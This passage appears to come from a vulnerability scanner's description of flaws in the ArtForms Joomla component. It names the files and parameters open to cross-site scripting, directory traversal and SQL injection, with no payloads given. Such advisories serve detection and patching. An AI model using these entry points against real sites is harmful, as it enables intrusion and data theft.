  web script or HTML via the 'afmsg' parameter to 'index.php'.

  - Directory traversal error in 'assets/captcha/includes/alikon/playcode.php' in the InterJoomla
  'ArtForms' (com_artforms) component, allows remote attackers to read arbitrary files via a .. (dot
  dot) in the 'l' parameter.

  - Multiple SQL injection errors in the 'ArtForms' (com_artforms) component, allows remote
  attackers to execute arbitrary SQL commands via the 'viewform' parameter in a 'ferforms' and
  'tferforms' action to 'index.php', and the 'id' parameter in a 'vferforms' action to 'index.php'.");
